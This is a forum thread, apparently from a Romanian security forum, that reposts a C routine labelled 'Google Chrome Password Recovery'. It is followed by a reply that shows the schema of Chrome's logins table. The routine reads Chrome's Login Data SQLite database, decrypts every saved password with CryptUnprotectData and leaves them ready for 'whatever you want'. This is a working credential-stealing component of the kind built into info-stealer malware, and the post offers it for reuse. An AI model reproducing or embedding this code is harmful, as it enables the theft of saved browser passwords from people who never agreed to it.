Jump to content
Nytro

[C] Google Chrome Password Recovery

Recommended Posts

[C] Google Chrome Password Recovery

Author: Sacrificial

/*
* Google Chrome Password Recovery
*
* Coded by Sacrificial
* Sacrificial2010@hotmail.com
*
*/

void GetGoogleChrome()
{
char szPath[MAX_PATH];
sqlite3 *lpDatabase;
sqlite3_stmt *lpStatement;
const char *lpTail;
char *szURL, *szUsername, *szPassword;
DATA_BLOB DataIn, DataOut;

SHGetSpecialFolderPath(0, szPath, 0x1C, 0);
strcat(szPath, "\\Google\\Chrome\\User Data\\Default\\Login Data");
if(GetFileAttributes(szPath) != 0xFFFFFFFF) {
sqlite3_open(szPath, &lpDatabase);
sqlite3_prepare_v2(lpDatabase, "SELECT * FROM logins", 20, &lpStatement, &lpTail);
do {
DataIn.pbData = (LPBYTE)sqlite3_column_blob(lpStatement, 5);
DataIn.cbData = sqlite3_column_bytes(lpStatement, 5);
if(CryptUnprotectData(&DataIn, 0, 0, 0, 0, 8, &DataOut)) {
szURL = (char*)sqlite3_column_text(lpStatement, 0);
szUsername = (char*)sqlite3_column_text(lpStatement, 3);
szPassword = (char*)DataOut.pbData;
szPassword[DataOut.cbData] = '\0';
// Do whatever you want with em;
}
} while(sqlite3_step(lpStatement) == SQLITE_ROW);
}
}

Note:

Its not the best coding, but it works, and like I said its old.

It requires the SQLite libraries.

For Chrome 6 and up the path is "\\Google\\Chrome\\User Data\\Default\\Login Data"

For Chrome 5 and below the path is "\\Google\\Chrome\\User Data\\Default\\Web Data"

Would be nice if you gave credits when using this code.

Enjoy

Sursa: [sNIPPET] Google Chrome Password Recovery

Link to comment
Share on other sites

Da, dar nu e tocmai genial sa iti dai seama ca e vorba de o baza de data SQLite. O poti deschide cu SQLite Explorer, sau nu stiu ce utilitar pentru astfel de baze de date si poti vedea structura, apoi "SELECT * FROM logins" si uite parolele. :)

Daca deschizi acel fisier "C:\Users\Ionut\AppData\Local\Google\Chrome\User Data\Default\Login Data" cu Notepad, primele caractere sunt: "SQLite format 3", apoi gasesti si: "CREATE TABLE logins (origin_url VARCHAR NOT NULL, action_url VARCHAR, username_element VARCHAR, username_value VARCHAR, password_element VARCHAR, password_value BLOB, submit_element VARCHAR, signon_realm VARCHAR NOT NULL,ssl_valid INTEGER NOT NULL,preferred INTEGER NOT NULL,date_created INTEGER NOT NULL,blacklisted_by_user INTEGER NOT NULL,scheme INTEGER NOT NULL,UNIQUE (origin_url, username_element, username_value, password_element, submit_element, signon_realm))" care spune tot ce iti trebuie.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...